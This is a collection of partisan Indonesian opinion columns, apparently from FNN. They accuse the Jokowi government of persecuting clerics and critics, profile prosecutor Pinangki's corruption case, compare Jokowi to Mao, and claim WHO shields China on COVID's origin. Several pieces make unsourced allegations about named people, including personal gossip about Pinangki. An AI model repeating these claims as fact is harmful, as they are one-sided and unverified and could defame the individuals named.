teks, dalam interpretasi ini difokuskan pada ratio legis-nya. Social base of text-nya, dengan demikian muncul sebagai inti inferensi. Interpretasi ini memungkinkan hakim menemukan apa yang disebut objective teleologis. Inti objective teleologis harus merujuk pada objective purpose of norm. Interpretasi ini akan menghasilkan original intention teks. Inferensi atas kenyataan kongkrit setidaknya sejak september 1945 hingga 23 Februari 1946, mau tak mau harus dijadikan menu utamanya, bahkan satu-satunya. Inferensi jenis ini dalam pragmatic enrichment juga mengharuskan actual text dipertalikan pada keadaan kongkrit. Hasilnya tidak lain selain teks atau norma “menyebar berita bohong dan seterusnya harus dibaca” bahwa berita bohong dan seterusnya itu hingga menimbulkan keonaran adalah berita yang sebagian atau seluruhnya tidak benar, menjadi sebab “memburuknya keonaran yang telah terjadi.” Titik. Keonaran dalam konteks teks pasal 14 dan 15 UU Nomor 1 Tahun 1946 bukan keadaan baru. Apalagi keadaan yang dihasilkan oleh berita bohong atau berlebihan. Berita bohong atau berita berlebihan justru memperburuk keonaran yang telah terjadi. Semoga ilmu yang memandu para Yang Mulia Hakim hingga berlabuh di keadilan. Menemukan hukum karena berilmu sungguh merupakan idaman semesta. Semesta akan merana kalau hukum ditemukan tanpa ilmu. Semesta merada kalau Dr. Shahganda, Jumhur, Anton, dkk tidak dibebaskan. Hakim, seperti Syuraih menemukan keadilan berdasarkan panduan ilmu, dengan balutan istiqamah pada Allah Yang Maha Tahu dan Maha Adil. Syuraih tahu itu adalah cara semesta mengunci pintu neraka untuk dirinya. Ia tahu semesta mengharumkan eksistensinya dengan keadilan. Tidakkah semesta menyerukan, “duhai orang-orang berakal, jadilah kalian penegak keadilan”. Tidakah Allah Subhanahu Wata’ala memerintahkan hambanya untuk menetapkan dengan adil? Semoga. (Selesai) Penulis adalah Pengajar HTN Univesitas Khairun Ternate.

Genre Baru J-Pop: Romansa Ulama Ditindas Penguasa

by Jarot Espe Surabaya, FNN - Drakor dengan rating tertinggi di tv kabel, 'The world of the married', adalah sukses lanjutan Negeri Ginseng mengekspor budayanya. Korea Selatan sadar, budaya milenial adalah pertaruhan hidup mati memajukan negeri. Karena itu penyebaran budaya Korea (Korean Wave) harus secara simultan untuk menjaring penggemar fanatik yang bertebaran di berbagai belahan dunia. Presiden Jokowi termasuk jeli membidik potensi tersebut. Bersama Kahiyang anaknya yang K-Popers atau penggemar idola K-Pop, Pak Jokowi pernah dua kali hadir di konser Korean Pop (K-PoP). Presiden berhasil menangguk simpati. Sukses memang harus melewati proses simultan, berkesinambungan. Di pentas politik, Pak Jokowi juga sukses berkesinambungan. Dari WaliKota Solo, menjadi Gubernur DKI Jakarta hanya dua tahun untuk membidik target puncak; masuk ke istana negara sebagai Presiden Indonesia. Pola yang dipakai Pak Jokowi mirip K-Pop, menggunakan musik 'easy listening' yang mudah dicerna masyarakat awan. Dari label wong cilik, ratu adil atau Satrio Piningit alias pemimpin yang dinantikan, hingga aksi blusukan. Barangkali layak disematkan istilah J-Pop. Jokowi Pop. Setelah terpilih lagi, Pak Jokowi tetap konsisten dengan konsep simultannya, tapi tak lagi populis. Betapa tidak, para ulama dijebloskan ke jeruji tahanan. Rezim ini seperti kesetanan membabi buta memberangus suara berbau oposan. Kasus penahanan Habib Rizieq Shihab dengan tiga sangkaan sekaligus, merupakan bagian dari kerja simultan Pak Jokowi. Perburuan Rizieq Shihab dimulai sejak ia tiba di bandara Soetta hingga ke rumah sakit Omni Bogor tempat pimpinan FPI itu dirawat. Di belakang Habib Rizieq, mengantre para ulama lain yang tidak terpublikasi. Seorang advodkat menyebutkan beberapa di antaranya. KH Ahmad Sabri Lubis, Ustaz Haris, Habib Hanif Alatas, Habib Idrus Al Habsy, Habib Ali Alatas dan Ustaz Maman Suryadi yang ditahan oleh Bareskrim Polri. Di LP Gunung Sindur Bogor, terdapat nama Bahar bin Smith, pendakwah asal Manado. Ustad Bahar dan para ulama yang kini mendekam di penjara, dikenal sangat kritis terhadap pemerintahan Jokowi. Padahal sesungguhnya dalam peradaban Islam terdapat hubungan teladan antara ulama dan umaro (pemerintah). Pemerintah diperlukan ulama untuk mendukung aktivitasnya membangun pondasi masyarakat. Sebaliknya ulama berperan sebagai penasihat sekaligus sumber memperoleh keputusan berlandaskan hukum agama. Barangkali karena kurang mendapat nasihat atau masukan, Pak Jokowi terang terangan minta dikritik. Kritikan model apa yang dirindukan Pak Jokowi? Publik benar2 menunggu klarifikasi dari Pak Jokowi, agar tidak dibui. Sebab diamnya presiden tentu menimbulkan prasangka di kalangan masyarakat. Ataukah Pak Jokowi juga latah meniru konsep grup idola K-Pop yang hanya merespon suara para penggemarnya? Bagi pemuja, kritikan terhadap idola, bukan budayanya. Karena itulah, manakala ustad Maheer At Thuwailbi meninggal dunia di ruang tahanan Bareskrim Polri, tidak muncul penjelasan. Apalagi permintaan maaf dari petinggi kepolisian maupun petinggi negeri, meski dibombardir oleh kritikan. Mungkin mereka tengah asyik menyimak ulang adegan pembalasan sang dokter dalam drama fenomenal The World of the married? Jika sang dokter balas dendam lantaran ulah pelakor, lantas alibi yang ingin disampaikan rezim ini? Sebab mereka sesungguhnya yang menjadi subyek kekerasan. Atau para penguasa tengah menikmati penampilan Black Pink? Maklum mereka tak sekadar menjual musik, grup idola asal Korea ini menyuguhkan koreografi yang membuat jutaan fans berteriak histeris. Bahkan dalam konser daring, Super Junior dan Red Velvet, menggabungkan penampilan artis dengan teknologi AR, grafik, serta video call antara idola dan penggemar. Jika mencermati, ada kesamaan konsep antara grup K-Pop dengan Pak Jokowi yang mengusung genre baru: J-Pop. Yaitu aspek totalitas untuk mendukung sukses berkesinambungan. Pak Jokowi mengeluarkan segenap daya untuk mewujudkan pentas paling akbar di tahun 2024: Pemilu serentak. Adapun para elite politik yang berperan sebagai penari latar ikut jungkir balik mati matian agar tongkat komando tidak terlempar diambil alih lawan. Sementara di panggung lain, ada pentas romansa para ulama. Penulis drama terkenal Oscar Wilde, membingkai romansa sebagai ketidak pastian hidup. Dan di bagian itulah terpampang drama kehidupan ulama yang sesungguhnya. Penulis adalah Pemerhati Seni.

Jaksa Pinangki, Lincahnya Melampaui Laki-Laki

IMPIAN Pinangki Sirna Malasari untuk mendapatkan vonis ringan, sirna sudah. Ia justru diganjar 10 tahun penjara, denda 500 juta subsidair 6 bulan oleh Majelis Hakim Pengadilan Tipikor Jakarta, Rabu, 10 Februari 2021 lalu. Dua setengah kali lebih besar dari tuntutan jaksa yang cuma menuntut 4 tahun penjara. Pun demikian, vonis tersebut masih dianggap terlalu ringan. Pinangki seharusnya dipenjara hukuman seumur hidup seperti mantan Ketua Mahkamah Konstitusi, Akil Mochtar. Pinangki agaknya sosok yang gesit, tangguh, dan pantang menyerah. Berbeda dengan perempuan pada umumnya. Ia lahir di Jogjakarta, 21 April 1981. Tanggal kelahirannya yang sama dengan RA Kartini, tampaknya mengilhami sepak terjangnya untuk keluar dari kegelapan. Jejak langkahnya ingin sejajar dengan laki-laki sebagaimana RA Kartini dulu terus menggelora. Hanya saja Pinangki salah langkah, sehingga bukan menjadi pahlawan wanita, tetapi justru menjadi makelar kasus yang berlabuh di balik jeruji. Kegesitan Pinangki terlihat sejak kuliah di Universitas Ibnu Khaldun Bogor. Begitu lulus ia langsung bekerja di Kejaksaan Agung pada tahun 2005. Tak puas hanya berbekal S1, ia pun kerja sambil kuliah S2. Kampusnya ia pilih yang lebih bergengsi dan berbobot, Fakultas Hukum Universitas Indonesia yang ia selesaikan dalam dua tahun. Belum puas, ia kemudian melanjutkan studi S3 ke Universitas Padjadjaran, Bandung. Singkat cerita Pinangki sukses meniti karier sebagai jaksa di Kejaksaan Agung Republik Indonesia. Profilnya yang lincah, supel, dan cantik membuat ia mudah menjalin komunikasi di seputar lembaga peradilan. Petualangan Pinangki berakhir ketika ia menekuni makelar kasus Djoko Soegiarto Tjandra alias Tjan Kok Hui yang buron belasan tahun karena menilep duit Bank Bali Rp 940 miliar. Ia dijanjikan Tjan Kok Hui uang USD 1 juta atau sekitar Rp14 M. Duit suap itu diberikan agar Pinangki mengurus fatwa Mahkamah Agung melalui Kejagung agar pidana penjara yang dijatuhkan pada Tjan Kok Hui berdasarkan putusan Peninjauan Kembali Nomor 12 Tanggal 11 Juni 2009 tidak bisa dieksekusi. Alhasil Tjan Kok Hui tidak perlu menjalani hukuman saat tiba ke Indonesia. Baru separoh uang yang dijanjikan Tjan Kok Hui diterima, Pinangki keburu tertangkap Komisi Pemberantasan Korupsi. Ia digelandang ke rumah tahanan dan kemudian diadili. Pengadilan mengungkap penghasilan Pinangki tak sebanding dengan besarnya harta yang dimilikinya. Gaji bulanan Pinangki sebagai Kepala Subbagian Pemantauan dan Evaluasi II pada Biro Perencanaan Jaksa Agung Muda Bidang Pembinaan Kejagung sebesar Rp 18.921.750. Sedangkan gaji suaminya, AKBP Napitupulu Yogi Yusuf, yang merupakan aparat penegak hukum, sekitar Rp 11 juta per bulan. Sementara pengeluaran Pinangki mencapai Rp 70 juta setiap bulan. Selama kurun 2019-2020, Pinangki tidak memiliki penghasilan tambahan resmi dan tidak memiliki penghasilan dari sumber lain. Jika penghasilan Pinangki dan suaminya digabung, tak akan mampu memenuhi kebutuhan pribadi Pinangki yang glamour. Tercatat, Pinangki selama tahun 2019 melakukan perjalanan ke luar negeri dengan pesawat first class sebanyak 11 kali. Hanya dua kali yang diizinkan kantor, sisanya tentu saja mangkir. Pengacara kondang Hotman Paris Hutapea geleng-geleng kepala ketika ia tahu selama 14 tahun berturut-turut Pinangki merayakan hari spesial di restoran berbintang 3 di New York, Perseny. Pengadilan menemukan Pinangki menyamarkan asal-usul harta kekayaannya yang berasal dari Tjan Kok Hui korupsi itu dengan cara menukarkan uang USD 337.600 atau senilai Rp 4,7 miliar di money changer. Pinangki juga meminta suaminya, AKBP Napitupulu Yogi Yusuf, menukarkan mata uang USD 10 ribu atau senilai Rp 147,1 juta. Nilai total keseluruhan penukaran mata uang yang dilakukan Pinangki pada periode 27 November 2019 sampai dengan 7 Juli 2020 adalah sebesar USD 337.600 atau Rp 4.753.829.000. Uang tersebut dibelanjakan sejumlah barang untuk menutupi hasil korupsinya. Pada kurun waktu itu Pinangki secara radikal, masif, dan terencana membelanjakan uangnya untuk membeli 1 unit mobil BMW X5 senilai Rp 1,7 miliar, sewa apartemen Trump International di Amerika Serikat sebesar Rp 412,7 juta, pembayaran dokter kecantikan di Amerika Serikat yang bernama dokter Adam R Kohler sebesar Rp 419,4 juta, pembayaran dokter home care atas nama dr Olivia Santoso untuk perawatan kesehatan dan kecantikan serta rapid test sebesar Rp 176,8 juta. Pinangki juga melakukan pembayaran kartu kredit di berbagai bank berturut-turut, Rp 467 juta, Rp 185 juta, Rp 483,5 juta, Rp 950 juta. Ia juga melakukan pembayaran sewa apartemen The Pakubuwono Signature sebesar USD 68.900 atau setara Rp 940,2 juta dan pembayaran sewa apartemen Darmawangsa Essence senilai USD 38.400 atau setara Rp 525,2 juta. Jumlah keseluruhan uang yang digunakan oleh Pinangki sebesar USD 444.900 atau setara Rp 6.219.380.900 dengan tujuan untuk menyamarkan asal-usul harta kekayaannya yang berasal dari hasil tindak pidana korupsi. Sebelum kasus Tjan Kok Hui mencuat, Pinangki juga pernah terlibat makelar kasus kepengurusan grasi mantan Gubernur Riau, Annas Maamun. Annas merupakan terpidana kasus korupsi terkait alih fungsi lahan di Provinsi Riau yang pernah mendapat grasi dari Presiden Jokowi pada September 2019. Grasi itu membuat masa hukuman Annas berkurang satu tahun. Ia kini telah bebas sejak 21 September 2020. Saat SMA, Pinangki pernah terjerat kasus narkoba. Memasuki masa kuliah, Pinangki menjadi pelakor alias perebut laki orang. Media massa ramai memberitakan bahwa Pinangki merebut suami dari Indri, bernama Djoko Budiharjo, Kepala Kejaksaan Tinggi di Pekanbaru Riau. Djoko menjalin asmara dengan Pinangki saat kuliah di Universitas Ibnu Khaldun Bogor. Kepada istrinya, Djoko mengakui Pinangki sebagai anak temannya yang membutuhkan biaya kuliah. Kepada rekan-rekannya di kantor, Djoko mengakui Pinangki sebagai keponakan. Belakangan Indri mengetahui kalau Pinangki telah menikah siri dengan suaminya, hingga Indri pernah melabrak Pinangki di rumahnya yang dibelikan Djoko Budiharjo. Saat dilabrak, Pinangki bilang bahwa dirinya rela menjadi istri kedua Djoko karena butuh biaya kuliah. Indri sendiri kemudian pulang ke rumah orangtuanya di Lampung setelah Djoko menikahi Pinangki hingga dirinya memutuskan bercerai. Indri hanya bisa mengelus dada sambil mengatakan ,"becik ketitik, olo ketoro". Dan apa yang dikatakan Indri beberapa tahun yang lalu, hari ini menimpa Pinangki. Djoko sudah meninggal dunia. Dari almarhum, Pinangki mendapat banyak warisan. Status inilah yang dijadikan alibi Pinangki bahwa hartanya bukan dari korupsi tetapi merupakan pembagian gono-gini dari mendiang suami terdahulu. Namun hakim punya penilaian sendiri. Pinangki berkilah dan berbelit-belit yang justru memberatkan posisinya. Hal lain yang memberatkan adalah bahwa ia seorang ASN yang seharusnya menjadi teladan baik. Ia justru berkhianat sebagai abdi negara. Pinangki adalah seorang Jaksa di Kejaksaan Agung Republik Indonesia yang seharusnya merupakan negarawan sejati dan steril dari perbuatan tindak pidana korupsi. Langkah korupsi Pinangki memang terhenti. Tetapi ia masih beruntung tidak dipecat dari ASN. Ia hanya dicopot dari jabatannya. Padahal seharusnya ia dipenjara seumur hidup, dimiskinkan, dan dipecat dengan tidak hormat, sebab sebagai jaksa ia telah memperjualbelikan jabatannya. Di samping melanggar sumpah jabatan, ia juga telah mencoreng lembaga Kejaksaan Agung Republik Indonesia. Sebagai pengawal utama keadilan yang merupakan fundamental dan higher law sistem peradilan, Pinangki seharusnya mengharamkan setiap usaha siapa pun yang ingin menodai asas-asas hukum di Indonesia. Ibarat peribahasa "Pagar makan tanaman" yang berarti seorang pelindung yang malah memanfaatkan orang yang dilindunginya untuk memuaskan hasrat pribadinya. Ibarat tukang parkir, Pinangki malah membawa kabur motor di parkiran yang dijaganya. Kasus Tjan Kok Hui jangan hanya berhenti pada Pinangki semata. KPK harus meringkus semua yang terlibat dalam makelar kasus ini, termasuk King Maker yang diungkap Pinangki di sidang pengadilan. (SWS).

Apakah Jokowi Ingin Meniru Mao Zedong?

Oleh karena itu, ajakan Presiden Jokowi agar masyarakat aktif menyampaikan kritik, dianggap berbagai kalangan sebagai jebakan betmen. Ajakan tersebut dianggap sebagai sebuah "perangkap politik" yang pada akhirnya nanti memberangus lawan-lawan politik termasuk para tokoh yang selama ini kritis kepada penguasa. by Tjahja Gunawan Jakarta, FNN - BEBERAPA saat setelah Presiden Joko Widodo mengeluarkan pernyataan yang meminta masyarakat untuk aktif menyampaikan kritik kepada dirinya, di sejumlah grup WA yang saya ikuti viral cerita lama Pemimpin Partai Komunis China Mao Zedong. Pada tàhun 1956, Zedong membolehkan penduduk China untuk menyampaikan kritik dengan mengkampanyekan Gerakan Seratus Bunga. Namun, setelah berbagai saran dan kritik disampaikan penduduk China terutama dari kalangan akademisi, setahun kemudian Mao Zedong membungkam dan menahan para pengeritiknya. Tepatnya pada 8 Juni 1957, Mao Zedong meminta penghentian Kampanye Seratus Bunga. Akibatnya, ratusan intelektual dan mahasiswa ditangkap, termasuk aktivis pro-demokrasi Luo Longqi dan Zhang Bojun. Para pengeritik dipaksa untuk mengakui secara terbuka bahwa mereka telah mengorganisir sebuah konspirasi rahasia melawan sosialisme. Tindakan keras itu diikuti dengan pengiriman ratusan pemikir China terkemuka ke kamp kerja paksa untuk “pendidikan ulang” atau ke penjara. Akhirnya, eksperimen singkat dengan kebebasan berbicara telah berakhir. Jika dikaitkan dengan permintaan Presiden Jokowi agar masyarakat aktif menyampaikan kritik kepada pemerintah, wajar kalau sebagian rakyat kita menganggap bahwa pola dan cara yang dilakukan Jokowi mirip dengan yang dilakukan Zedong. Kisah lama di China tersebut juga disinggung oleh salah satu tokoh nasional Dr Rizal Ramli. “Setelah kampanye, Mao menindak mereka yang mengkritik rezim. Itu adalah upaya untuk mengidentifikasi, lalu menganiaya,” kata Rizal Ramli mantan Menko Perekonomian era Presiden Gus Dur dalam akun Twitter pribadinya, Jumat (12/2). Hal yang sama dikemukakan Koordinator Gerakan Indonesia Bersih (GIB) Adhie Massardi. Ketika Mao Zedong hendak menghabisi lawan politiknya, maka yang dilakukan adalah dengan kampanye hal yang seolah baik. Oleh karena itu, ajakan Presiden Jokowi agar masyarakat aktif menyampaikan kritik, dianggap berbagai kalangan sebagai jebakan betmen. Ajakan tersebut dianggap sebagai sebuah "perangkap politik" yang pada akhirnya nanti memberangus lawan-lawan politik termasuk para tokoh yang selama ini kritis kepada penguasa. Dengan demikian, kisah lama Mao Zedong ini sangat relevan dengan ajakan Presiden Jokowi agar publik aktif mengritiknya. Walaupun para pejabat di lingkungan Istana Kepresidenan berusaha meyakinkan masyarakat tentang kesungguhan pernyataan Presiden Jokowi, namun masyarakat tetap belum yakin ajakan tersebut betul-betul sebagai pernyataan tulus untuk memberi ruang kebebasan pada masyarakat untuk menyampaikan pendapat dan aspirasinya. Berbagai kasus penangkapan terhadap para tokoh pro demokrasi dan para ulama akhir-akhir ini, membuktikan adanya kontradiksi antara pernyataan Jokowi dengan kenyataan sesungguhnya. Belum lagi tindak kekerasan yang dilakukan aparat keamanan terhadap para pelaku aksi demonstrasi beberapa waktu lalu serta pembunuhan terhadap enam laskar Front Pembela Islam (FPI), menambah keraguan masyarakat terhadap "angin kebebasan dan demokrasi" yang dihembuskan Jokowi. Sebagian kalangan menilai penguasa sekarang justru ingin mengubur demokrasi secara perlahan. Dalam realitanya, rezim penguasa saat ini telah menerapkan praktek kekuasaan yang otoriter. Ajakan Jokowi tersebut lebih dimaksudkan untuk "test the water" sekaligus pemetaan terhadap situasi politik sekarang. Penguasa ingin memetakan secara lebih detail lagi ormas serta tokoh-tokoh yang selama ini kritis kepada penguasa. Ancaman kriminisasi hukum dan penangkapan, terbukti telah membuat takut sebagian kalangan masyarakat. Jangankan rakyat biasa, tokoh politik yang juga pengamat ekonomi sekaliber Kwik Kian Gie (KKG) pun dilanda ketakutan jika ingin menyampaikan kritik kepada pemerintah. Padahal, sebelumnya, KKG bisa dengan bebas dan leluasa menyampaikan kritik kepada setiap rezim yang berkuasa. Bahkan, di era Orde Baru kata KKG, dalam cuitannya di akun Twitternya, dirinya bisa dengan bebas menyampaikan kritik melalui tulisan khusus di Harian Kompas. Ketakutan KKG juga mencuat karena adanya buzzer bayaran. Buzzer ini cenderung menyerang para pengeritik pemerintah. Mereka bukannya beradu gagasan dan ide pemikiran, tapi buzzer bayaran ini cenderung menyerang pribadi setiap pengeritik dengan bahasa yang kasar. Buzzer ini ada yang tugasnya menyerang pengiritik melalui media sosial, kemudian setelah itu buzzer yang lainnya melaporkan para pengeritik ke pihak kepolisian. Oleh karena itu, wajar kalau sebagian kalangan menyatakan, "Jika Jokowi benar-benar ingin dikritik masyarakat, sebaiknya para buzzer yang selama ini dibayar pemerintah ditertibkan dulu". Permintaan tersebut antara lain disampaikan budayawan Sujewo Tedjo. Namun, para pejabat di lingkungan Istana Kepresidenan membantah kalau selama ini pemerintah "melihara" buzzer. Akan tetapi, bantahan tersebut bisa dipatahkan setelah beredar foto Jokowi bersama para buzzer di Istana Bogor, Jawa Barat. Foto tersebut beredar di hampir semua jejaring media sosial. Di dalam foto tersebut, terlihat Kepala Staf Kepresidenan (KSP) Moeldoko. Para netizen juga sering menjuluki Moeldoko sebagai "Kakak Pembina". Selain Moeldoko, tentu ada para buzzer yang wajahnya nampak sumringah saat berfoto bersama Presiden Jokowi. Di dalam foto itu terdapat buzzer yang namanya sudah tidak asing lagi di kalangan masyarakat, mereka antara lain, Permadi Arya atau Abu Janda, Deny Siregar dan Eko Kunthadi. Sangat boleh jadi itu adalah foto bersama tàhun 2019, saat para buzzer itu dibutuhkan Jokowi untuk mengangkat citra dirinya menjelang Kampanye Pilpres waktu itu. Sayangnya, hingga kini sebagian besar masyarakat menganggap para buzzer tersebut masih bekerja untuk rezim penguasa. Banyak kalangan termasuk anggota DPR (dari PKS) yang mempertanyakan anggaran APBN yang dialokasikan untuk mendanai para buzzer tersebut. Anggota Komisi I DPR dari Fraksi Partai Keadilan Sejahtera (PKS) Al Muzzamil Yusuf mempertanyakan, apakah Abu Janda merupakan seorang influencer yang dibayar pemerintah menggunakan APBN. "Pertanyaan kami ini untuk klarifikasi kepada publik. Pertama, apakah Permadi Arya dibayar dengan anggaran APBN?" tanya Al Muzzamil, dikutip melalui siaran akun Youtube DPR-RI, Rabu. Hal itu disampaikan Al Muzzamil berkaca dari temuan Indonesia Corruption Watch (ICW) yang menunjukkan anggaran pemerintah sekitar Rp 90 miliar untuk membayar influencer dan key opinion sejak 2014. Permadi Arya alias Abu Janda namanya lebih populer karena cuitannya pernah menyinggung kasus dugaan rasialisme dan penistaan agama. Meskipun dia sudah sering dilaporkan ke polisi, namun sampai sekarang Abu Janda tidak ditahan polisi. Di berbagai pemberitaan media, Abu Janda mengakui dirinya menjadi influencer dan dibayar dengan nominal yang besar. *Kehilangan legitimasi* Sementara itu, seorang buzzer yang juga mantan rekan kerja penulis di salah satu media mainstream, mengakui dirinya menjadi influencer Jokowi pada saat kampanye Pilpres 2019. Dia membantah kalau selama menjadi influencer dibayar dengan dana APBN. "Saya dibayar oleh pengusaha yang menjadi pendukung dan donatur Jokowi," katanya. Dia hanya mau disebut sebagai influencer dan keberatan disebut sebagai buzzer karena konotasinya jelek. Ketika Majalah Tempo menurunkan laporan soal buzzer bayaran beberapa waktu lalu, mantan rekan kerja saya ini menjadi salah satu nara sumbernya. Saya pun berkomunimasi dengan dia melalui chatting di halaman Facebook setelah keluar laporan Majalah Tempo tersebut. Kembali kepada ajakan Jokowi agar masyarakat bisa aktif menyampaikan kritik. Ajakan ini sebenarnya bagus dan akan benar-benar jadi kenyataan kalau para aktivis serta para ulama yang saat ini ditahan polisi dan kejaksaan bisa dibebaskan terlebih dulu. Selama mereka masih ditahan, ajakan Jokowi tersebut hanya sekedar lips service belaka. Alih-alih dibebaskan, penguasa nampaknya akan terus menjerat para tokoh lainnya yang selama ini kritis kepada pemerintah. Yang sekarang ditarget adalah mantan Ketua Umum PP Muhammadiyah Din Syamsudin yang dituduh Komisi Aparatur Sipil Negara (KASN) sebagai tokoh radikal. Sebelumnya, tidak lama setelah Jokowi meminta masyarakat menyampaikan kritik, penyidik senior KPK Novel Baswedan juga dilaporkan ke polisi hanya karena mempertanyakan kenapa Ustaz Maaher yang sedang sakit harus dipaksakan ditahan sampai akhirnya dia meninggal dunia. "Innalillahi wa innailaihi rojiun. Ustadz Maaher meninggal di rutan Polri. Padahal, kasusnya penghinaan, ditahan, lalu sakit. Orang sakit, kenapa dipaksakan ditahan? Aparat jangan keterlaluanlah. Apalagi dengan ustaz. Ini bukan sepele lho.." cuit Novel melalui akun Twitter @nazaqistsha, Selasa 9 Februari 2021. Novel Baswedan dilaporkan ke Bareskrim Polri oleh organisasi kepemudaan bernama Pemuda, Pelajar dan Mahasiswa Mitra Kamtibmas (PPMK). Novel yang juga mantan polisi dilaporkan karena dianggap memprovokasi lewat komentar di media sosial terkait meninggalnya Soni Eranata alias Ustaz Maaher At-Thuwailibi di Rutan Bareskrim. Jangankan mengeritik, mempertanyakan kematian seorang tahanan pun langsung dilaporkan ke polisi. Oleh karena itu, wajar kalau mantan Wakil Presiden Jusuf Kalla pun menanyakan, "Bagaimana cara mengritik Jokowi tanpa dipanggil polisi?' Sebenarnya, ajakan Jokowi agar masyarakat mengeritik dirinya, hanya untuk memancing para pengeritik untuk kemudian nanti dihadapkan dengan para buzzer. Meskipun Jokowi mempersilahkan publik untuk mengkritiknya, namun dosen ilmu politik Universitas Indonesia (UI) Chusnul Mariyah menganggap Presiden Jokowi sudah tidak memiliki legitimasi dan kepercayaan publik. "Sebetulnya ini cuma maping aja, siapa yang mengkritik, tinggal nanti dipanggil buzzernya," ujar Chusnul dalam video yang diunggah akun YouTube Realita TV seperti dikutip Kantor Berita Politik RMOL, Jumat (12/2). "Bagaimana seorang pemimpin yang meminta dikritik, padahal tangannya sudah berdarah-darah. Itu loh yang berdarah-darah terhadap pengkritiknya," tambah Chusnul. Mao Zedong memang sudah lama mengkampanyekan Seratus Bunga. Mao sengaja menghembuskan angin kebebasan kepada penduduk China agar warganya jangan takut menyampaikan kritik kepada dirinya. Namun, rupanya itu cuma akal bulus Mao Zedong untuk membungkam dan menahan para pengeritiknya. Dalam konteks ini, apakah Jokowi ingin meniru apa yang sudah dilakukan Mao Zedong? ** Penulis adalah Wartawan Senior FNN.co.id.

China Pernah Tuding Indonesia Sumber Covid-19

by Mochamad Toha Surabaya, FNN - Salah satu kesimpulan dari para tim peneliti WHO terkait laboratorium di Kota Wuhan, Provinsi Hubei, China bahwa yang sangat tidak mungkin virus itu bocor dari Institut Virologi Wuhan, sebuah laboratorium dengan banyak koleksi sampel virus, menjadi bukti WHO membela China. Dalam menentukannya, tim tersebut mengatakan, kebocoran semacam itu sangat jarang dan tidak ada bukti virus itu ada di lab itu atau di lab mana pun di dunia saat pandemi dimulai. “Sangat tidak mungkin ada sesuatu yang bisa lolos dari tempat seperti itu,” ujar pemimpin tim WHO Peter Ben Embarek saat meninjau protokol keselamatan di sana. Selama 4 pekan di China, tim WHO belum menemukan sumber Virus Corona COVID-19. WHO tampaknya berusaha "menyelamatkan" China sebagai sumber.Covid-19, dan mencoba mencari dan mengalihkan tuduhan ke negara Asia Tenggara. Siapa.lagi.kalau bukan Indonesia? Jejak digital mencatatnya. Melansir Liputan6.com, (17 Apr 2020, 16:51 WIB), kabar tentang China yang menuding Indonesia sebagai sumber virus corona COVID-19 beredar di media sosial. Kabar ini disebarkan akun Instagram @shitpost.penambahan.iq pada 22 Maret 2020. Akun Instagram @shitpost.penambahan.iq mengunggah gambar tangkapan layar pemberitaan berjudul "China Menuding Indonesia Sebagai Sumber Virus Corona". Akun Instagram @shitpost.penambahan.iq menambahkan narasi dalam konten yang diunggahnya. "Inilah cerita jutaan orang yang bukan main," tulis akun Instagram @shitpost.penambahan.iq. Konten yang diunggah akun Instagram @shitpost.penambahan.iq telah 2.880 kali disukai dan mendapat beragam komentar dari warganet. Kabar tentang China yang menuding Indonesia sebagai sumber virus corona COVID-19. Penelusuran dilakukan menggunakan situs pencari Google Search dengan memasukkan kata kunci "china menuding indonesia sebagai sumber virus corona". Hasilnya terdapat artikel yang membantah klaim tersebut. Satu di antaranya artikel berjudul "[Fakta atau Hoaks] Benarkah Pemerintah Cina Tuduh Indonesia yang Sebarkan Virus Corona Covid-19?" yang ditayangkan situs tempo.co pada 26 Maret 2020. Narasi bahwa pemerintah China menuduh Indonesia sebagai penyebar virus Corona Covid-19 beredar di media sosial. Narasi itu berasal dari artikel di situs Kabarberita.site yang berjudul "Virus Corona Bersumber dari China, Kini Pemerintah Tiangkok Tuduh Indonesia Sebarkan Virus Covid-19". Salah satu akun di Facebook yang menyebarkan artikel itu adalah akun Ijin Share Ya, yakni pada 23 Maret 2020. Hingga berita ini dimuat, artikel tersebut telah mendapatkan respons lebih dari 250 kali dan dikomentari 141 kali. Adapun artikel itu berisi pernyataan dari pemerintah wilayah Shaanxi, Cihna, soal penyebaran kasus baru yang ditimbulkan oleh wabah virus Corona Covid-19. Mereka menuding bahwa wabah virus Corona Covid-19 merupakan "kasus impor", salah satunya dari Indonesia. Menurut artikel itu, China yang menjadi sumber virus Corona berangsur pulih. Sudah tidak ditemukan pula pasien baru Covid-19. Namun, salah satu warganya kini kembali terinfeksi virus Corona. Cbina pun menuduh bahwa virus Corona tersebut berasal dari Indonesia. Hal ini, menurut artikel itu, berawal pada 10 Maret 2020, ketika warga China yang bernama Zhang Moumou, 35 tahun, mengalami gejala batuk dan demam. Kemudian, pada 13 Maret malam, dia mengambil penerbangan dari Indonesia, melalui Hong Kong, ke China. Sesampainya di bandara, dia memberi tahu staf bandara bahwa dia tidak sehat. Setelah suhu tubuhnya diukur, Zhang dilarikan ke Rumah Sakit Pusat Xian, Shaanxi, untuk menjalani isolasi dan perawatan. Zhang pun inyatakan positif mengidap Covid-19. Untuk memverifikasi klaim di atas, Tim CekFakta Tempo menelusuri pemberitaan terkait kasus Covid-19 di Shaanxi, Cina, dari media-media kredibel. Hasilnya, ditemukan berita dari situs media The Jakarta Post yang memuat tautan halaman yang berisi pernyataan resmi Komisi Kesehatan Shaanxi, Cihna, mengenai kasus Covid-19 di wilayahnya. Boleh jadi, meski sempat dibantah pejabat China sendiri, bukan tidak mungkin.fakta tersebut akan dijadikan dalih kalau Indonesia sebagai "sumber corona". Apalagi, ada anggapan penanganan Covid-19 dinilai gagal. Penulis adalah Wartawan Senior FNN.co.id.

Pandemi Membuat Orang Kaya Makin Kaya

WABAH Corona Virus Disease 2019 (Covid-19) belum bisa diprediksi kapan berakhir. Padahal, virus yang berawal dari Wuhan, RR China itu jelas telah memporak-porandakan berbagai sendi kehidupan masyarakat, terutama ekonomi dan sosial. Jumlah penduduk miskin dan rentan miskin pun diperkirakan terus bertambah. Padahal, Covid-19 atau virus China baru setahun mewabah. Bagaimana jika virus ini berlangsung dua tahun atau bahkan diperkirakan 5-10 tahun? Atau yang terburuk, sulit atau tidak bisa diprediksi kapan berakhir. Yang pasti, virus China ini telah mengakibatkan angka penduduk miskin dan rentan miskin sudah naik dan akan naik. Laporan Badan Pusat Statistik (BPS) mencatat, jumlah penduduk miskin di perkotaan dan pedesaan Indonesia pada 2020 tercata 26,42 juta jiwa. Angka ini naik 5,09% dibandingkan tahun sebelumnya yakni 25,14 juta. Tahun 2021, angka kemiskinan diperkirakan naik menjadi double digit, 10,5 persen. Naik jika pemerintah tidak melakukan berbagai upaya nyata dan lebih giat lagi untuk menanganinya. Program Pemulihan Ekonomi Nasional (PEN) yang 